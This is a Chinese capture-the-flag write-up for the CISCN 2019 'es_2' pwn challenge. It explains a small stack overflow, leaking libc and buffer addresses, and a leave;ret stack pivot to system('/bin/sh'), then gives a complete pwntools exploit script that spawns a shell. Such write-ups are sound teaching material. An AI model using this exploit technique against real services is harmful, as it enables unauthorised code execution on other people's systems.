题目来源:BUUOJ 备注:除非过于特殊,查保护不再单独截图。

CISCN_2019_ES_PWN_2

解题思路

题目信息&开启的保护: Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

CISCN_2019_ES(华东南赛区)_PWN 复现 - 图1
分析逻辑发现line 6、line 7存在栈溢出,并且发现后门函数
CISCN_2019_ES(华东南赛区)_PWN 复现 - 图2
但因为仅能溢出8字节,因此无法布置返回函数的参数,而在没有参数的情况下后门函数是没用的
此时发现line 5对内存空间初始化时仅初始化了0x20个字节,于是调试发现可以leak libc基址和buf地址。
CISCN_2019_ES(华东南赛区)_PWN 复现 - 图3
然后我们接下来使用leave;ret;这个gadget,然后将EIP劫持到buf地址,第二次向buf写入call _system的地址和libc中的/bin/sh的地址。
CISCN_2019_ES(华东南赛区)_PWN 复现 - 图4

EXP

  1. from pwn import *
  2. import sys
  3. context.log_level='debug'
  4. libc=ELF("/lib32/libc.so.6")
  5. if args['REMOTE']:
  6. sh = remote(sys.argv[1], sys.argv[2])
  7. else:
  8. sh = process("./ciscn_2019_es_2")
  9. payload='A'*(0x20-len('Leak Data->'))+'Leak Data->'
  10. sh.send(payload)
  11. sh.recvuntil('Leak Data->')
  12. Leak_data=sh.recv()
  13. buf_value=u32(Leak_data[8:12])-0x38
  14. log.success("Buf begin addr is :"+str(hex(buf_value)))
  15. libc_addr=u32(Leak_data[16:20])-0x1B03DC
  16. binsh_addr=libc_addr+libc.search('/bin/sh').next()
  17. log.success("Libc base addr is :"+str(hex(libc_addr)))
  18. payload=p32(0x08048559)+p32(binsh_addr)+'A'*0x20+p32(buf_value-4)+p32(0x08048562)
  19. gdb.attach(sh)
  20. sh.sendline(payload)
  21. sh.interactive()